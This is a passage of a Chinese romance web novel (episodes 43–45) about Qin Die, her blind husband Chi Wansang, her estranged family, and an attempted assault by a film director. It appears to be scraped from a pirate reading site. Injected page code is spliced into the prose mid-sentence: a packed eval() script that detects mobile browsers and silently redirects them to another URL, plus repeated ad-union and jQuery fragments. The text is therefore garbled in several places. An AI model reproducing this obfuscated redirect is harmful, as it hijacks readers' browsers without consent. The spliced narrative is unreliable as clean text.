“啊?”秦叠停在在工作室门口汗流浃背,吐出一口气,“哦,好的,那让他注意安全。” 下一秒,秦叠清了清嗓子,推门而入,对上岫白疑惑的眼神,小声对它批评了句:“你懂什么懂?” 又朝屋里大声道:“池老板,还没走吗?我忘拿东西了,要一起走不?” 经过这次更像是自我反省的对话,秦叠后来去找了秦东柏。 哥哥完全长成她不认识的模样,剃着青皮,白色T恤穿得泛黄,深灰色工装裤上似有深浅不一的污渍。他走来的时候,还带着机油、铁锈、饭菜和泥巴的味道。 之前那个小男孩的影子找不到了,取而代之的是一脸愤世嫉俗的模样。 秦叠给他带了一辆自行车,虽说都这么大了,按理说不会想要一辆自行车。但秦叠记得小时候家里那辆老牌破旧自行车,一直是自己上学在骑。 家里没钱买两辆,这一辆都是东拼西凑后买的二手货。那时候她还是家里的小公主,哥哥让着她,爸妈宠着她,上学的时候就是秦东柏小跑着在背后追自己。 但秦叠知道秦东柏看见池晚桑的那辆车,心里巴巴地渴望。 “我骑摩托。”秦东柏只是说,没有说收下还是不要。 就像领导带着全组开几百次会,还是得不出解决方案,他们俩这面,并没有因为秦叠的示好而让关系缓和。 她还是想看见他回去的。 秦叠朝着秦东柏离开的背影叹了口气,回去的时候在超市买了番茄和牛肉。 不如意事十之八.九,她便常想那一两口果腹的小事,自娱自乐。 等池晚桑拖着疲惫的身子打开门,闻见难得的饭香,剑眉微挑。岫白仿佛等他鉴定完无毒了才犹犹豫豫从身后走进去。 池晚桑勾了勾唇:“今天的没糊。” “和你哥见得怎么样?”他一边扶着木质鞋柜换鞋,一边朝着厨房问。 秦叠无奈地叹了叹,“什么进展没有,我尽力了。” 她将汤勺拿到嘴边抿了小口,不想多说,“嗯,番茄牛腩,汤汁鲜香,我这回一定成!” 这几天听池晚桑的语气,可以明显感觉到他很累,嗓子甚至因为说太多话,有些沙哑。回到家后还是尽力找话题,将秦叠的前世今生都问了个遍。 她想,是池晚桑在故意活跃气氛的吧。 “大学生活怎么样?专业课难吗?” “还不错吧,认识了周静昀和余庆你也知道的,两人挺不错。刚去的时候还是有些不习惯吧……” 他的问题像是在弥补什么,弥补今天社团面试成功,没办法和爸妈分享的喜悦;弥补期末考试前熬大夜复习,从没家人倾听的苦恼;像他来参加毕业典礼,缝合上她身边的那个空位。 所以秦叠也乐于回答,回忆某些缺位的日子。 今晚终于问到了近几年的事情,搜查盘问的尴尬环节总算快结束了。 “你,爸妈是怎么没的?” ——我很小的时候,爸妈就不在了…… 秦叠心里一阵雷劈,这句话,她好像确实说过。 秦叠嘴快过脑子的情况在此刻展现得淋漓尽致,“就,有一天,那个,火灾。对,烧没了。” 为了不让自己显得太可怜,她又补充道:“他们以前不知道什么时候拟好遗嘱了,财产我和哥哥一人一半,撑过了这些年的学费,就,还挺感谢他们的吧。” 秦叠其实真的看见过妈妈写遗嘱,是在对秦东柏极度愧疚的那段日子,在活得浑浑噩噩,生不如死的日子写的。 因为妈妈对秦东柏有太多愧疚,她看见的遗嘱,没有自己的名字。 那个小女孩难道真的冻死在了破旧腐朽的木头衣柜里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13754157|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?和墙角的霉菌一起发芽,掩埋。 池晚桑听后,没说话,无焦距的眼睛也没眨眼,定定的,像是一个正常人在出神。 半晌,他淡淡地说,更像是自言自语:“这些年过的很辛苦吧。” 嗓子因为白天的训练而干涩难忍,竟一时有些哽咽。 如果真的如她所说,遗产能够支撑大学这几年,她又何苦去奶茶店打工,为着研究生的学费发愁,迟迟没有给导师回应。 不知道她长成什么样子了。念头就这么在心中,如同浇灌了琼脂玉液般疯长。 ——我长得还不好看,歪瓜裂枣的,眼睛小,鼻子大,嘴巴歪,皮肤差…… 困意和难受在胸中蔓延,他一时被这复杂的感情给冲昏了头脑,许是白天太累了,理智占了下风。 他克制地伸过手拿起杯子送到嘴边,润润嗓子,一时有些颤抖。 “你知道,盲人都是通过触摸来感知周边的世界吗?” 秦叠也跟着抿了抿杯子里的水,据说喝水会传染,但得是自己喜欢的人才行。 “有了解过一点。”她说。 “那,”池晚桑清了清嗓子,“我能,摸摸你……长成什么样子了吗?”声带过于劳累且疲惫,无法得到适当控制,说出口的话竟像风中的竹叶,萧瑟颤抖,翩翩落地。 “认识这么久还不知道你长什么样……”他有些无奈地垂下眼眸,月光在颊上留下细细密密毛茸茸的阴影,衬得皮肤越发冷白。 “如果觉得冒犯的话,就当我没说。” 秦叠看着他过于紧张而攥紧的手,有些发愣,还是说了句:“可以。” 他的手很冷,除了小拇指指节处的茧子外,很柔很软,不像外表看上去那么冷硬。 秦叠一动不动,倾身过去,抬头望着池晚桑,从来没有理他这么近,她不自觉调皮地转了转眼珠。 池晚桑的指腹克制着划过她额头,眉毛,在眼睛上稍作停留,一路向下,到鼻尖……触碰到温热的嘴唇时,手指忽然蜷曲着缩了回去。 然后他笑了。 在月色中的昙花般,忽然绽放,含蓄,却惊艳,让人沉迷。秦叠似乎从他眼里看到了久违的欣喜。 眼睛很亮,鼻子还是小时候那样小巧的,脸上肉不太多,皮肤细腻光滑,没有她之前说的那些。鹅蛋脸,没有太锋利的骨相,他似乎可以根据记忆中的小女孩描摹出一个俏皮灵敏的姑娘。 脸上无意间碰到几根碎发,应该是不爱扎头发,扎的潦草,碎发垂在侧脸也懒得去管。嘴巴…… “怎么了?”秦叠保持着望向他的姿势,一动不动。 池晚桑笑了,收回手,嘴角隐隐有括弧,张扬得像个少年,“眼睛小,鼻子大,嘴巴歪,皮肤差。” “什么!”秦叠也笑了,对自己当时有些无语,像被别人刨出来自己□□空间的非主流文案一样有些难堪,“你竟然还记得。” “听后难忘。” 秦叠洗完澡的时候池晚桑已经睡了,他这几天实在太疲惫。秦叠听见屋内克制地传出几声咳嗽,停一会儿,又捂在被子里难受地咳两声。 她轻敲了敲门,“池晚桑?” 里面没有回应。 “池晚桑?” “我进来了咯?” 她悄悄把门拉开一条缝。 池晚桑没有拉窗帘的习惯,屋子里住进了月亮。 他侧躺在床上,长腿微微蜷曲,睡姿很乖巧,虽然背对着月光,但秦叠知道他是睡着了。 太累了吧这两天,她心想,梦里都在咳嗽。 她蹑手蹑脚走过去将池晚桑的被子盖住不安分的手。 她准备抽身离开的时候,手腕忽然在黑暗里被温热地抓住。 “秦柔桑。” 池晚桑说。 43. episode43 秦叠楞在原地,扭头回去看他的时候,无意间瞥见了床头柜上她送的戒指盒,被珍贵地重新放进袋子里。 “池老板?” 秦叠小声问。 池晚桑的声音闷闷的,眉头拧成一团,像是小孩子难受地赌气,噘着嘴巴说出几句不清不楚的调子:“你去哪儿了?” 但秦叠还是听懂了。 她脑子里了一片空白,以为池晚桑早就忘了自己,以为秦柔桑不过是他记忆里的一个过客,雁过无痕。 此时却借着月光,回头看见她经过的白云上,留下一串痕迹。 她到达的痕迹。 一切仿佛有了回声。 以为日子就这样过去,平淡竟也肯来眷顾她一下,秦叠装作什么都没发生过的模样。这对他们俩似乎已经是家常便饭的事了。 “今天有空吗?”池晚桑一边烤面包,转头问坐在旁边高脚椅上晃腿等投喂的秦叠。 “有。” 池晚桑嗯了声,又说:“去过养老院吗?照顾残疾老年人那种。” 秦叠接过他递来的餐盘,“去过一两回。” 池晚桑坐在她对面,叉起煎蛋,犹豫了下,“我以后老了就和他们差不多,事事需要人帮忙了。带你去那儿见一个人,可以吗?” 他知道自己和秦叠走不远,但是和黎叔面都没见过又恢复单身的话,他怕这老头真的会恨自己。 临走之前只能利用下秦叠了。 当秦叠跟着池晚桑站在郊区这栋熟悉的建筑面前时,她顿时心里有些不好的预感,可世上哪有那么巧的事,她耸耸肩,跟了进去。 养老院的布局,她已经大体熟悉,分为生活区和休闲区,生活区这边给行动不便的老人提供的房间要大些,因为他们几乎难得出门。黎叔就在这边。 房子旁边是一弯湖水,湖边有绿树垂柳,是个令人心情很好的所在。 秦叠沉默地跟在池晚桑背后,由着他带路,经过棋牌室里热火朝天的对弈,还有舞蹈室里音乐震天的排练,再路过茶水室悠闲坐着望向窗外发呆的两三个老年人,上楼。 池晚桑走得从容不迫,可这楼梯弯弯绕绕,建筑师复杂华丽的构想都在楼道里实现,秦叠都有些分不清到第几层了,张望着有没有提示牌。 绕了三四圈终于忍不住想问池晚桑是不是迷路了,她却发现池晚桑的手每回到扶梯的拐角处会停留一下。 这回她等池晚桑继续走后,凑上去一看,上面用凸出来的小点刻上了本层是第几层。来了这么多次,从来睁着眼睛就进了,没注意到这么细节的地方。 可是,除了这里,很难有地方的楼梯扶手能耐心为盲人刻上层数吧。 秦叠看见熟悉的门牌时,一切飘到湖边,停留在楼道的思绪在瞬间归位。 不——是——吧。 “黎叔,我带人来看你了。”池晚桑敲了敲门没等回应就开门进去,于是秦叠就这么猝不及防看见黎宜穿着老头衫,仰躺在床上,有些衣不蔽体地扇着扇子,懒散地问:“谁啊?” 她实在不知道该不该进去,按照之前见面的标准,黎宜看起来应该是个注重外表和面子的人。或许是他和池晚桑太熟了,或许是两人反正都看不见,对视觉这方面的要求不太高。 可秦叠是该看见,还是不该看见呢? “老婆,秦叠。”池晚桑说得淡然。 这句话让三个人里两个人瞬间惹火上身般抖了抖。 秦叠无奈,对池晚桑这方面的迟钝表示无语,哑着声音说:“黎叔好。” 池晚桑挑了挑眉朝这边望过来,并没说什么。床上的黎宜却炸了:“你个龟儿子带人来之前能不能提前告诉一声,你起码进门前得到我的允许吧。” 他随便抱着床上的被单遮住自己胸口,活像个被非礼了的小姑娘。 池晚桑站着没动,撇了撇嘴,一字一句问:“我带我老婆过来看你,可以吗?” “姑娘你先出去,我换个衣服!” 秦叠啼笑皆非地看着黎宜一顿手忙脚乱,声音里都快带着哭腔,看来池晚桑这次不小心戳着黎叔的七寸了。 秦叠百无聊赖在门外站了一会儿,不知道是不是太无聊的原因,只觉得时间过得很慢,要是黎宜不拿出一套精致的打扮都对不起用的这些时间。 一老太太推着轮椅从门前经过,看见她时,颔首笑了笑,“小池的夫人吧?黎宜念叨你好久了,长得真俊。” 秦叠不置可否,朝老太太弯了弯腰以示礼貌。刚进去就被轰出来,他们买的水果还没来得及放下,秦叠双手交叠提着果篮靠墙站着。浅蓝色连衣裙上有稀碎的白星子,长发柔顺披在身后,身材高挑,温婉有礼。 终于听见屋内有了些动静,但,是琴声。 她犹豫着敲了敲门,里头回应一句“进来吧”,于是她便看见池晚桑乖巧地坐钢琴边弹奏,黎宜换了身类似黑色西装的打扮,在窗边坐得笔直,笑容满面地对她招手:“过来坐。” 这正式感,怎么像是去面试了。 黎宜的语气是池晚桑没听过的温柔可亲,于是他不禁在那边面对着墙壁笑出了声,对黎宜这莫名其妙的仪式感无奈地摇了摇头。 “笑什么!”黎宜皱了皱眉,有些不快地朝池晚桑喊,又变脸般地对着秦叠洒下阳光,“这小子琴弹得不错吧,我教的,人是很好的。” 秦叠看向池晚桑,他坐得很端正,优雅。说:“嗯,是弹得不错。” 她还以为池晚桑早就放弃了钢琴,琴音从指尖流出的时候,秦叠以为幻听了。 “啧,可惜了,就是不愿意弹,”他又说,“不愿意就不弹吧,开心最重要,今天托你的福,请到个伴奏。” 之后秦叠一直哑着说话,生怕黎叔把自己认出来,面对这样的突发事件,她的首要选择都是先退回去洞里去,观察清楚敌情再行动。 哑到最后,说话都有些难受的时候,秦叠终于拖借口去了趟卫生间。 “这姑娘我认识。”门一关,黎宜便说。 “噢?”池晚桑笑了笑,“难怪她今天声音一直不对劲。” “就是之前给你说的软件上的志愿者,人挺好。不过你们为什么会结婚,你骗人姑娘什么了?” 池晚桑想了想,慢吞吞地说:“两情相悦。” “悦个屁,”黎宜扯了扯略显紧绷的衬衣,看来得减肥了,“不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 管你们之间误会了什么,姑娘是个好人,你最好说清楚。毕竟……” “能愿意嫁给盲人的,不多。” 池晚桑听后也收敛了笑容,冷声道:“知道了。” “知道了就行动!”黎宜在他背上重重敲了敲,才不管池晚桑是什么情绪,也只有在这里,池晚桑不是老板,而是随时会犯错会挨打的小孩。 “还有啊,记得配得那些广播剧,出来了就发给我,别老是等我去要。你是什么大爷吗?……” 秦叠在洗手间的时候,收到了公益组织工作群的消息,自从上回夫妻俩在这儿碰了壁,这个群难得安静了一阵子。 惠熙:【小回啊,你,现在有多少存款啊?】 秦叠扫了一眼,有些无语,不想回。 过了会儿,又发来一条:【你哥哥遇上点事,你能拿出来多少?】 秦叠将眼皮重重关上,对这个消息有些难以消化,于是在看见第三条的时候,关机了。 【找时间回来一趟吧,一家人难得聚聚。】 聚你妈。 她沉着脸往回走,沿路思考秦东柏到底在搞什么玩意儿,一边欲拒还迎,一边又主动拉拢。他到底遇上什么事,非得推翻自己之前的言之凿凿,又重新回来。 越想越气,没看见前面的人,她一头撞了上去。 “秦叠?”池晚桑扶住她,“怎么去了这么久,黎叔以为你掉坑里了。” 秦叠忙想掩饰脸上的不愉快,忽然想起他看不见,这样也挺好,起码在他面前不用装模作样。 “没事,刚才迷路了。” 池晚桑顿了顿,本来想说什么给咽了回去,说:“回家吧。” “好。” 路上,池晚桑忽然提起残疾人们,老了挺可怜的,对周围的人来说也是个负担。秦叠心里想着其他的事,不置可否,没往深了想。两人便一直没再说话。 第二天,秦叠只穿了件短袖便去赴那个鬼才导演的约,这部动画电影统一在他的配音间录音,距离不远不近,走路需要半小时,她只能骑共享单车去。 还好周末人流量不是很大,路上通勤的人少,没有逆行的电驴和往来匆忙不长眼的路人,以及不要命超速加占道的外卖小哥,秦叠扫了一辆是个坏车,又扫一辆,是个没报修的坏车,龙头方向能偏离九十度那种。 运气不太行啊。 第三辆才勉强能骑,她按照导航地图指示,选了条近路,也得十五分钟车程,不过沿路都有林荫,不算太热。 非机动车道上停了很多机动车,秦叠啧了一声,就是这样,非机动车才会去占了盲道。 她绕过那一排车,这一带是老城区,水泥路很久没翻修,路皮竟被车子碾压得坑坑巴巴,硬水泥翘起皮来,她一个没留神直直骑了上去。 车子无力地朝一边倾倒,她被裹挟在其中,车很重,她没有选择,眼看着就侧脸着地,忽然被一个油腻腻的手拉住胳膊。 “秦叠?你是改名叫秦叠了对吧?” 秦东柏将她扶正,双手插兜,没正形地踢了踢漏气的自行车胎。 他随口将嘴里的口香糖吐在地上,“这么着急,干嘛去?” 44. episode44 秦叠闻到一股机油的恶臭,带着化学物质的辛辣刮过鼻腔。她看见秦东柏便气不打一处来,“怎么又要回去了?不是不要再见面吗?” 秦东柏表情有些僵硬,舌尖刮过口腔侧壁,一脸无语,“这事,你不用管。” “遇上什么困难了?”秦叠垂眸睨着眼睛瞅了眼他白色T恤上的油渍,带着污泥还是什么的痕迹,冷冷道,“欠债了?” 秦东柏没理她,四周张望了眼,转身进了一间店铺。 秦叠这才抬头看向那间店铺的招牌,修车、换锁、换电池、换油、换零件……如果不是招牌面积有限,她觉得这家店会把自己全身十八般武艺都给写上去。 毫无技巧,毫无文化。 招牌是黑底白字,莫名一股丧气,铁质卷帘门收在顶部,外面阳光很烈,她看不进去,只有乱七八糟的零件和废油散落在门口。 破败极了。 秦叠缓缓吐出一口气,准备继续骑,却咯噔一声,车轮硬骨在地上碰撞摩擦发出刺耳的锐鸣。 好家伙。 “轮子坏了。事情急吗?五分钟给你换一个没气的破胎,你一个人用完,下个人就没法用那种。” 秦东柏从屋子里出来,手上拿了几个修理工具,嘴里不知何时又嚼起了口香糖,一副吊儿郎当的模样。 他可不会好心无偿地修共享单车。 秦叠说:“半小时后有工作。” 秦东柏把车子推到店门口,固定好,蹲下开始捯饬,“那来得及。” 秦叠有些恍惚,日头就照在秦东柏身上,他的皮肤已经近小麦色,短袖口和领口的位置明显分层,他俯身的时候领子里掉出一根银色大链子,在街上混能增加气势那种。 她问:“你,工作?” 秦东柏抬头眯着眼睛看了看她,额头上挤出几层抬头纹,又埋下头,“嗯。” “走了之后,你去哪儿了?”秦叠右手手指不自觉扣手心,像是在找事情干缓解尴尬。 “之前觉得读书没啥用,到处闯呗。现在想了想,还真是操了。”他动作很快,一边说话也没打断节奏。 “你呢,读了高中没?” 秦叠说到这儿,心里不禁有些愧疚,“读了。你,走不是因为我吧……”秦叠想起来点什么。 “不是,待不下去了。” 他埋着头哼笑了声,脸上全是无语和轻蔑,他手上没停,不一会儿就好了,秦叠还想问什么也只得打住。 “好了,快去吧。” 秦叠望了眼秦东柏手上乌黑的油渍,胳膊抬起,擦了擦脸,被他不甚在意地敷在颊侧。 “谢谢。” 秦东柏又哼笑了声,“怪有礼貌。” 秦叠一进门就感受到这个导演强烈的个性特征。 虽说街上小店早就开始贩卖月饼,但夏天老是赖着不走变成秋老虎继续逗留,团圆这种事情,一两家糕点店急是急不来的。 屋里异常闷热,房间东西朝向,早上也晒下午也晒,将太阳的轮回接了个满怀,直接让房间内温度直线上升。 “来了?聆镜的人是吧?” 是导演开的门,秦叠在网上看见过他的照骗,依稀通过五官还是能分辨出是同一个人,只是肚子肥大了些,头发稀疏了些,保持着卷度搭在额头上,显得更加可怜。 秦叠被屋里咆哮而出的热浪给晃了晃神,看了眼他,果然是能成大事的人,面不改色的。“是的,我叫秦叠,请导演多指教。” “行,快进来吧,你们都是分开录的,这样好剪辑。时间紧,你结束了下一个人就要过来了。” 秦叠跟着他进屋,屋子不大,全部作录音用,墙上贴着隔音软包,在这里显得更加闷热,走了一两步路,秦叠感觉额角已经隐隐渗出些薄汗。 出于礼貌,她并没有四处乱看,一直微低着头,表示谦恭,却正因为这个角度,她看到了沙发脚被撕开的几小袋东西。 秦叠瞳孔瞬间紧缩。 房间里再没别人了。 会不会是自己私生活忘记清理了,聆镜这种小工作室被这种级别的导演看上,是聆镜的福气…… 小工作室! 出了事会无处发声,被舆论完全压制的那种手无缚鸡之力。秦叠脑子里瞬间游过了无数条猜想。 “先在这里对对词,我看你对角色的把握如何。”导演一屁股坐在软沙发上,陷进去一半,满脸笑容看着秦叠。“热吗?我看你都出汗了,这是我的工作习惯,见谅啊。” 秦叠干咳了一声,“没事。导演,能先用下您洗手间吗?” “就在那儿。”他伸手朝秦叠身后指了指。 秦叠只感觉气血上涌,脑子不太清醒,热得她脸上竟有一丝潮红。 秦叠对着镜子将手背贴在脸上,凝视了半刻。说实话她没想过给池晚桑打电话,他来了确实发挥不了什么作用。只是希望是自己多想,秦叠反手给苏木发了条消息: 【苏木哥,这配音室就我和导演两个人,气氛有点怪啊。】 苏木回复得很快:【你们在哪儿?】 秦叠发了条定位过去。 苏木暗骂了声,穿上衣服,发过去:【保护好自己,我过来和你一起录。】 这种事,完全暴露前秦叠不能撕破脸,处于食物链底端,即使嗅到危险的气息还得上前去瞧瞧,万一是秃鹫蚕食留下的猎物呢。 可这种猜想在对戏过程中,导演一遍遍纠正自己,物理距离上也越来越近后得到证实。 危险的气息。 如果苏木能及时赶到,事发之前这点哑巴亏她能吃。对聆镜和她来说都是机会,又怎么能,怎么敢轻易放弃。 秦叠往后退了退,腰后抵上一个方形的纸盒子,她又不动神色继续念。 “这儿!”捕食者的猎枪终于瞄准她,一只手覆上她的腿,“这个地方,差点意思,想不想多点词?” 秦叠蹭地站起,“导演!” 却没看清脚下横在地上的易拉罐,仰倒着摔下,地上铺了层地毯,摔得不疼,不过手猛地撑住,骨头相撞还是让秦叠倒吸一口热气。 导演坐在沙发上没动,啧了一声,“聆镜工作室是吧?你们到底想不想配,一惊一乍的,不要浪费我时间。” 秦叠冷笑一声,原来目的是这样,她想都没想,斩钉截铁说:“不想。” 那导演笑了两声,“你的脸都红成这样了,你不想吗?”说着就靠过来,将秦叠扑倒,秦叠两只手被牵制住按在地上,依靠自己的力量竟无法挣脱。 遇见这种情况,男女力量之悬殊,天然地就无法解决吗。 那人油腻的卷发扫在她脸上,秦叠感到一阵反胃,挣扎再三。于是她屈膝对着那人裤.裆.下就是一击。 “你他妈想断子绝孙。” 她难得说一次脏话。 她不愿意碰到这房间里的任何东西,趁他护痛,撑着自己膝盖踉跄了两步才站起来。 但她这一击不仅让那导演捂着要害在地上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 滚了两圈,痛定思痛后竟然有种撕破脸的无奈,“靠。” 秦叠拿起包就往外走,来不及在地上找滑落的头绳,形容竟有些狼狈。 “靠你妈,人渣。” 秦叠想啐他一口,觉得有点恶心,虚啐了个样子,气势上不能输。 但有的人就是贱,非要凑上来挨骂。那导演暗骂了声,上来就要抓秦叠。在秦叠手已经按下门把手的时候,只觉头上一阵刺痛,几根头发断裂,仰头就被拉了过去。 那导演还笑嘻嘻地说:“这个角色就给你,够硬气,不要也给你,都给你。” 他嘴里一股恶臭,秦叠刚才应该从秦东柏那儿要点口香糖给他的。她听见皮带解扣的声音,想着实在不行脸皮不要了,这头发也不要了。 不过嘴咋这么臭呢。 “这么大方,男的行吗?我也要,来点呗。” 刚才她还是将门打开了一条缝,苏木一脚踹开。门板撞在墙上咚地一声,又反弹回去,把他遮住。苏木眼疾脚快,伸出一只脚卡在门缝上才没关住。 嘶,这个出场,一言难尽。 秦叠头顶的力道一松,那人不介意地转身,“没见识的,注定成不了大事,滚吧。” “你他妈等着,败类。”苏木朝他啐了一口,秦叠眯了眯眼睛,移开视线,还是觉得有点恶心。 聆镜和他打官司不会赢,现在报警说实话没什么用。 “头发?”苏木和她站在外面的时候,有些尴尬地指了指自己的头,“快给池晚桑打个电话,他肯定担心坏了。” “池晚桑?”秦叠用手抓了抓头顶,僵住。她没给池晚桑说啊,苏木不会笨到这种程度吧。 苏木说:“我看到你消息的时候正在和他通话,嘴一快就念出来了。不过他不知道这里,不会这么莽撞的。” 秦叠想起昨天好像和他提过一嘴。 这家伙的记忆力…… 靠。 她撒下苏木朝来时的路狂奔。 “他知道!” 这边老城区的盲道建设更加贫瘠,很多地方甚至没有,如果池晚桑真的过来,那太不安全了。 秦叠不知道自己为什么如此肯定。 但在看到他的时候一切都证实了。 她看见池晚桑的时候,他正一手扶着坑坑洼洼的水泥灰墙慢行,没有盲道的指引,他跟着导航里的男声走得着急。 秦叠看见他膝盖上有两团圆形的灰,步子没有节奏,慌乱而无措,眉心拧成一团,只能空着急。 “池晚桑!”她喊,向他跑过去。 “秦叠?”池晚桑楞了瞬,四处望,“秦叠!” “没事了。”秦叠抓住他的手,因为一直摩擦在水泥墙上,碎碎地破了皮。 她安慰道:“没事了。” “对不起,我……”她头一回看见他如此语无伦次,全然没有之前的绅士和从容,“都是我的错,我不能……我不知道……” 池晚桑的身子因为过分激动抖得厉害,声音也连带着吞吐不清。 他没办法保护她。 他早就知道。 上天好像在提醒他,为什么还不离开。 他根本就是个拖累。 一无是处。 秦叠踮起脚抱住他,双手扣在他背上轻拍,望着头在池晚桑耳边轻笑着说:“我很厉害,没被欺负。” 她的语气里也莫名有些哽咽。 身边的人却说。 “我们离婚吧。” 45. episode45 如果真的是个毫无关系的人,池晚桑不知道自己会怎么做。也许两人都互相隐瞒着过去的故事,像朋友一样陪伴,静静的。 可面前的人是秦叠,他不忍心。 她不应该。 秦叠双手贴在他背上,一动没动,像是怀疑自己听错了,“可是……今天是中秋节。” 她就说过,团圆这种事情,月饼店说了不算。 “你不该耗在我身上。”池晚桑说。 苏木从拐角跑过来,看见两人总算松了口气,气喘吁吁道:“你还真来了。没事,没发生什么,咱小秦有点格斗基础在身上,我到的时候那畜生一直捂着□□呢。” 秦叠放了两天假。 两天她和池晚桑都没交流,互相都看不见一样。如果池晚桑要离婚,她没有理由缠着别人,毕竟当初结婚也不是那么正当。 什么都没发生,不过是填档案的时候要从单身写成离异。 这算是她留下的印迹吗。 那天中秋节,秦叠炖了莲藕排骨汤,两人是分开吃的。她饭后想起什么,给苏木打电话过去交代自己的工作,顺带表示对今天事情的感谢,还提醒他以后少和池晚桑吵架,最好能让着他一点。 苏木听得迷迷糊糊,却也只有应下。有种被告发出.轨,却从来没见过出.轨对象的迷惑感。 后来聆镜官宣了与那个导演撕破脸的消息,日后拒绝合作,没有水花。 众人都会以为只是个小工作室博眼球,蹭人导演的热度,笑它蚍蜉撼大树,可笑不自量。评论区偶有一两条似是感同身受,但也很快被淹没过去。 正义之路很难,多的是人袖手在旁边。 但网上出现对她的指责,说什么一个巴掌拍不响时,聆镜站在了她这边。这种为自己战斗的感觉,她以前也感受过一次。 她高中曾被同学污蔑成小偷,妈妈也难得地为她站了回擂台。妈妈拿了自己从小到大的奖状去校长办公室,那些以为在无数次搬家过程中被遗忘在哪个角落的红色奖状,对校长说,秦叠的人品绝对没问题。 但不是所有的人一辈子都在同一战线,就像不是所有人离开了还能再遇见。 秋天很短暂,天气转凉,夏蝉没了踪影,梧桐黄了枝丫。秦叠提着超市买的日用品上楼时,在楼道看见晚归的池晚桑。 他穿了件棕褐色格子衬衫,外面套着黑色外套,毫无顾忌地坐在楼梯间,颓丧的。指尖夹着泛着星星火光的烟头。 轻轻吐出,烟雾将他整个人包裹在月色下。 这个时间点秦叠一般不会出门,也没想到能遇见他。秦叠打开下一层楼梯间的门,伪装出去的声音,这对于他们来讲,太容易了。 然后也蹲在下一层的台阶上,靠着墙,望向池晚桑。 声控灯暗下来,她只听见他呼出一口烟雾,不甚熟练地呛了呛。 他们现在是什么关系,又该何去何从,秦叠不知道。她今天刚和爸妈吵了一架,好像随着年岁的增长,脾气也长了不少。 惠熙打电话说:“小回啊,上次给你发的消息怎么没回,你什么看法啊?” 秦叠说:“没什么看法,我不想给秦东柏钱。” 她听见电话那头秦时的声音带着怒意非常大声:“那我们呢,养你这么大,白眼狼也不是你这样当的。” 秦叠难得冷静,语气里冰凉没有温度,“尽孝的钱,我会给你们,但仅此而已。我是白眼狼,这些年你们有记得还养过一个白眼狼吗?” 惠熙自从找到秦东柏后语气也缓和不少,“是是是,我们对你也有愧,不过这不是为了找你哥哥嘛,他现在不认我们,咱家可就真的要断了。” 秦叠冷笑一声:“你们就是想要个儿子传宗接代。” 听见这句话,惠熙说:“你可别太过了啊,我们低三下四来求你已经给你面子了,当初让你留在老家,给你介绍对象你不听,现在混成这个样子还能怪谁。” “我们是没当好父母,难道我们容易吗?丢了孩子不去找,我们还是人吗?” 秦叠手心的购物袋太重嵌在肉里,勒得生疼,脑袋被吵得也嗡嗡地响,她放大音量对电话里吼了声:“能不能别吵了!我要睡了。” 挂掉电话,夜色里的车水马龙不曾减退,她逆行着朝黑暗里走去。 她不知道找到了竟然还有这么多事,他们家好像从来没能从事儿堆里走出来。 秦叠坐在台阶上,掏出手机,给小瞎子发了条信息。上层黑暗里电话亮了一瞬,池晚桑回了个问号。 不论是亲近的人还是陌生人,套着一层马甲沟通才能畅通无阻,有些奇怪,她仿佛在认识的人面前永远卸不下防备。 志愿者:【聊会儿天吗?】 小瞎子:【聊什么?】 志愿者:【有没有觉得长大很累很复杂?】 池晚桑敲键盘的手顿了顿:【很多事情没那么多弯弯绕绕,是人自己作的。发生什么事了吗?】 志愿者:【没什么,就是有点迷茫,看不太清楚路了。总会过去的是吧,就像你看不见,一样会过去。】 小瞎子:【不,很多事情过不去就是过不去,我也只是接受了。】 残羹冷炙再难以下咽也得维持生存,接受了,不代表内心毫无波澜。 秦叠又发:【最近怎么样?】 她听见上方缓缓叹了口气,手机上收到一条消息;【天冷了。】 于是,池晚桑在回去后,才听见秦叠从门外进来的声音。躺下后,又听见秦叠从卧室门外进来的声音。 什么情况? 装死。 然后软绵绵一大坨东西被摔在床上,池晚桑捏着被子猛地坐起来,“秦叠?” “我床垫湿了。”秦叠只是说,熟练地爬上床,以前也不是没一起睡过,前不久不也这样凑活过嘛。 “哦。”池晚桑卷着铺盖往旁边挪了挪,也没多问,就这样给她腾出半边空位。 半晌,他睁着眼睛,问:“你,家里事情是不是挺多的。解决完了再离吧。” 秦叠也背对着他,将脑袋缩在被子里,秋天晚上明显冷了些,她将自己裹成一个毛毛虫,隔着被子闷闷地说:“嗯,为什么突然要离婚?” 这是他们难得讨论的话题,不过还能因为什么。 池晚桑说:“我不知道当时你和我结婚还有其他什么原因,但我的眼睛确实不适合结婚。” 他顿了下说:“抱歉啊,就连吃饭这种事情,都很困难,找不到筷子,夹不到餐盘,你嫁给我就相当于承担了保姆的工作。这不公平。” 秦叠不想听他再说这些自怨自艾的话,就像她也不想把自己家里那些屎一样的麻烦事倒苦水一样全部讲给他听。 而且她知道,原因不只这些。 秦叠闭上眼睛,又往下缩了缩,说:“睡吧。” “我给你讲个女孩的故事吧。”池晚桑却没闭嘴, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “是个很勇敢的姑娘。” “你喜欢的那个人吗?”秦叠复又睁开眼睛问。 池晚桑却继续顾自说:“她很厉害,在班里担任要职,学校广播站,器材室的钥匙都在她手里。身后老是跟着一群人,向她汇报课间操的扣分情况。我就没见过她愁眉苦脸的样子……” 秦叠没说话。 她好像一直都不勇敢,遇见事情只能躲在衣柜里,或是强颜欢笑,假装自己不在乎。她了解每个年龄段的小孩应该是什么样,所以她会演成一个没心没肺的孩子,在所有人面前显得正常一点。 